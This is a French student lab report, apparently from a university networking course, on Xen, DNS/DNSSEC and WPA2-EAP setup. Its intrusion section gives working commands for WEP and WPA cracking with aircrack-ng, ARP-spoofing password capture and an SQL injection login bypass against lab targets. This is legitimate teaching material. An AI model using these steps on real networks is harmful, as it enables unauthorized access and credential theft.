    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
